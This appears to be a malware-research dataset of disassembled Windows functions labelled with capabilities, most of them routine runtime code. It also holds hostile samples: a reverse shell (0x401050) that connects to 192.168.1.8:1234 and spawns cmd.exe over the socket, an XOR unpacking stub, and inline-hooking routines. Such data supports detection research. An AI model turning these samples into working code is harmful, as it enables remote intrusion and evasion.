joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006adf
Capabilities:
Enumerate files on windows
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x1009088]
mov ecx, dword [ebp + 0x10]
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
xor ebx, ebx
cmp dword [0x1009d54], ebx
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x260], ecx
jne 0x1006ce5
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x1006ce5
cmp dword [0x1009080], ebx
push esi
push edi
je 0x1006c30
lea eax, [ebp - 0x254]
push eax
push 0x1001464
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x25c], eax
je 0x1006c30
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov esi, 0x104
cmp dword [0x1009d54], 0
jne 0x1006c22
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0x1001460
lea eax, [ebp - 0x228]
push eax
call ebx
test eax, eax
je 0x1006c07
push 0x100139c
lea eax, [ebp - 0x228]
push eax
call ebx
test eax, eax
je 0x1006c07
test byte [ebp - 0x254], 0x10
je 0x1006c07
push 0x20c
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x1006bf6
push 0
push ebx
push esi
lea eax, [ebp - 0x228]
push eax
call edi
test eax, eax
je 0x1006bcf
cmp eax, esi
jb 0x1006bf6
push esi
push ebx
push dword [ebp - 0x258]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
push ebx
push esi
lea eax, [ebp - 0x228]
push eax
call edi
push dword [ebp - 0x258]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov eax, dword [0x10092cc]
mov dword [eax + 0x208], ebx
mov dword [0x10092cc], ebx
lea eax, [ebp - 0x254]
push eax
push dword [ebp - 0x25c]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1006b5c
push dword [ebp - 0x25c]
call dword [sym.imp.KERNEL32.dll_FindClose]
xor ebx, ebx
lea eax, [ebp - 0x254]
push eax
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1006ce3
cmp dword [0x1009d54], ebx
jne 0x1006cdc
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0x1001460
lea eax, [ebp - 0x228]
push eax
call esi
test eax, eax
je 0x1006cc6
push 0x100139c
lea eax, [ebp - 0x228]
push eax
call esi
test eax, eax
je 0x1006cc6
test byte [ebp - 0x254], 0x10
jne 0x1006cc6
lea eax, [ebp - 0x228]
push eax
push dword [ebp - 0x258]
call fcn.01002bd3
cmp eax, ebx
je 0x1006cc6
cmp dword [0x1009d1c], ebx
jne 0x1006cb2
mov dword [0x1009d1c], eax
jmp 0x1006cbb
mov ecx, dword [0x1009d20]
mov dword [ecx + 0x3c], eax
inc dword [0x1009d28]
mov dword [0x1009d20], eax
lea eax, [ebp - 0x254]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1006c4e
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, dword [0x10092c8]
mov ecx, dword [eax + 0x208]
push eax
push ebx
mov dword [0x10092c8], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop ebx
call fcn.01006e99
leave
ret 0xc
Function at 0x1006fb1
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x1001470
call fcn.010071b4
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x1006fee
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1006fee
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1007006
cmp eax, 0x20b
je 0x1006ff3
mov dword [ebp - 0x1c], ebx
jmp 0x100701a
cmp dword [ecx + 0x84], 0xe
jbe 0x1006fee
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x1007014
cmp dword [ecx + 0x74], 0xe
jbe 0x1006fee
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1009f8c], 0xffffffff
or dword [0x1009f90], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x10092dc]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x10092d8]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1009f94], eax
call fcn.010071aa
cmp dword [0x100908c], ebx
jne 0x1007075
push fcn.010071aa
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01007193
push 0x1009010
push 0x100900c
call sub.msvcrt.dll__initterm
mov eax, dword [0x10092d4]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x10092d0]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x1009008
push section..data
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
cmp byte [esi], 0x22
jne 0x100710b
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x10070df
cmp al, 0x22
jne 0x10070d1
cmp byte [esi], 0x22
jne 0x10070e8
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x10070f2
cmp al, 0x20
jbe 0x10070e4
mov dword [ebp - 0x54], ebx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x54], 1
je 0x1007116
movzx eax, word [ebp - 0x50]
jmp 0x1007119
cmp byte [esi], 0x20
jbe 0x10070e8
inc esi
mov dword [ebp - 0x20], esi
jmp 0x100710b
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call main
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x1007136
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x100716b
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.010071ef
ret
Function at 0x401050
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x204
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x200], eax
push esi
lea eax, [esp + 0x70]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4010a2
push str.WSAStartup_failed_Terminate.
call fcn.00401010
add esp, 4
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.0040119a
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov esi, eax
mov eax, 2
push str.192.168.1.8
mov word [esp + 0x54], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push str.1234
mov dword [esp + 0x58], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x52], ax
lea eax, [esp + 0x50]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x40111f
push str.Connect_failed_
call fcn.00401010
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.0040119a
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x60]
mov dword [esp + 8], 0x44
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x38], 0x100
push eax
push 0
push 0
push 0
push 1
push 0
xorps xmm0, xmm0
mov dword [esp + 0x5c], esi
push 0
push str.cmd.exe
push 0
movlpd qword [esp + 0x34], xmm0
movlpd qword [esp + 0x3c], xmm0
movlpd qword [esp + 0x44], xmm0
movlpd qword [esp + 0x4c], xmm0
movlpd qword [esp + 0x54], xmm0
movlpd qword [esp + 0x60], xmm0
mov dword [esp + 0x6c], esi
mov dword [esp + 0x70], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [esp + 0x204]
xor eax, eax
pop esi
xor ecx, esp
call fcn.0040119a
mov esp, ebp
pop ebp
ret

Function at 0x401999
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4019d8
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4019d8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4019d8
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4019d8
cmp dword [ecx + 0x74], 0xe
jbe 0x4019d8
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ed0
nop
mov ecx, 0x12a12c12
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x7edb5d9e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x41244f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004122ce

Function at 0x41682b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416199

Function at 0x416836
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004163d4

Function at 0x136d058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x136d1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x136d07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x136d06a
add dl, dl
jne 0x136d089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x136d0dc
xor eax, eax
add dl, dl
jne 0x136d096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x136d17d
add dl, dl
jne 0x136d0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x136d0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x136d0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x136d0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x136d0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x136d075
mov eax, 1
add dl, dl
jne 0x136d0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x136d0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x136d0e1
sub eax, ebx
mov ebx, 1
jne 0x136d128
mov ecx, 1
add dl, dl
jne 0x136d10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x136d119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x136d105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x136d075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x136d13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x136d14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x136d136
cmp eax, 0x7d00
jae 0x136d16d
cmp eax, 0x500
jb 0x136d168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x136d075
cmp eax, 0x7f
ja 0x136d170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x136d075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x136d19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x136d075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x100060b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x100060e2
jl 0x100060d5
test ecx, ecx
jne 0x100060e2
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x100061a2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.100075b0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x1000614e
jg 0x1000610d
test esi, esi
je 0x1000614e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x10006125
mov eax, dword [esp + 0x10]
jl 0x1000611f
cmp eax, esi
jae 0x10006125
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.10018110
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x1000616f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x1000618b
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x100060f4
jl 0x1000618b
test ecx, ecx
jne 0x100060f4
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov esi, dword [ebp + 0x10]
sbb esi, edx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x100061e0
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x100061e0
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push dword [esp + 0x14]
call fcn.10018110
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [esp + 0x18], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x10006249
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x10006206
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x10006234
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.1001ce5c
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x10006249
cmp edi, eax
ja 0x10006212
test edi, edi
je 0x10006249
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.1001ce5c
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10014850
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1005b068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x24], edi
cmp edi, 0xffffffff
je 0x10014963
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1001495c
mov ebx, 1
nop dword [eax]
cmp dword [ebp - 0x20], 0x10
jb 0x1001491f
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x1001491f
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x1001491f
mov edx, dword [esi]
test edx, edx
jne 0x100148e8
push 0x200
push edx
push dword [0x1005cff0]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x10014944
lea edi, [esi + 8]
jmp 0x10014912
mov eax, dword [esi + 4]
lea edi, [esi + 8]
cmp dword [edi], eax
jb 0x10014912
add eax, eax
mov dword [esi + 4], eax
shl eax, 2
push eax
push edx
push 0
push dword [0x1005cff0]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x10014976
mov dword [esi], edx
mov ecx, dword [edi]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [edi]
mov edi, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x100148a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1001495c
mov eax, dword [esi]
xor ebx, ebx
test eax, eax
je 0x1001495c
push eax
push ebx
push dword [0x1005cff0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi], ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10016b6f
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x24]
jmp 0x10014944

Function at 0x10014980
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call fcn.10014850
test eax, eax
jne 0x100149b1
mov eax, 9
pop edi
mov esp, ebp
pop ebp
ret
cmp dword [edi], 0
je 0x10014a02
push esi
xor esi, esi
cmp dword [edi + 8], esi
jbe 0x100149fa
push ebx
nop
mov eax, dword [edi]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x100149f3
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 4]
mov ecx, ebx
call fcn.100146e0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [edi + 8]
jb 0x100149c0
pop ebx
pop esi
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10014a10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1005b068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
imul esi, ecx, 0x2c
push edi
add esi, dword [0x1005d040]
mov eax, dword [esi]
mov cl, byte [esi + 0x14]
and cl, 1
lea edi, [eax - 5]
cmove edi, eax
movzx eax, cl
lea ebx, [eax*2 + 5]
lea eax, [ebp - 8]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10014a6c
pop edi
pop esi
mov eax, 0xa
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10016b6f
mov esp, ebp
pop ebp
ret
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x10014a87
mov eax, dword [esi]
mov word [eax], 0xf9eb
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [esi + 0x14], 6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10016b6f
mov esp, ebp
pop ebp
ret

Function at 0x10014ac0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x1005d048]
sub esp, 0x10
push esi
xor esi, esi
test ecx, ecx
je 0x10014aed
mov eax, dword [0x1005d040]
add eax, 0x14
nop dword [eax + eax]
test byte [eax], 2
je 0x10014af4
inc esi
add eax, 0x2c
cmp esi, ecx
jb 0x10014ae0
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x10014aed
push ebx
push 1
or edx, 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.10014980
mov ebx, eax
mov dword [ebp - 4], eax
add esp, 4
test ebx, ebx
jne 0x10014baf
mov ecx, dword [0x1005d048]
push edi
cmp esi, ecx
jae 0x10014b5a
imul edi, esi, 0x2c
nop word [eax + eax]
mov eax, dword [0x1005d040]
test byte [edi + eax + 0x14], 2
jne 0x10014b4f
mov ecx, esi
call fcn.10014a10
mov ebx, eax
test ebx, ebx
jne 0x10014b57
mov ecx, dword [0x1005d048]
inc esi
add edi, 0x2c
cmp esi, ecx
jb 0x10014b30
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x10014bac
xor esi, esi
cmp dword [ebp - 8], esi
jbe 0x10014b9d
mov ebx, eax
nop word [eax + eax]
push dword [ebx + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10014b91
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 8]
jb 0x10014b70
mov ebx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push eax
push 0
push dword [0x1005cff0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10015b61
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.10015b3d
pop esi
leave
ret 8

Function at 0x1001b67b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1001b6ba
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001b6ba
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001b6ba
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1001b6ba
cmp dword [ecx + 0x74], 0xe
jbe 0x1001b6ba
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10023840
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f448
push 0x1004f440
push str.FlsAlloc
push 0x1f
call fcn.10023708
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10023874
push dword [ebp + 8]
mov ecx, esi
call dword [0x1002f1b0]
call esi
jmp 0x1002387a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100238be
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f458
push 0x1004f450
push str.FlsGetValue
push 0x21
call fcn.10023708
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100238f5
push dword [ebp + 8]
mov ecx, esi
call dword [0x1002f1b0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100238fd
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f460
push 0x1004f458
push str.FlsSetValue
push 0x22
call fcn.10023708
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10023937
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1002f1b0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]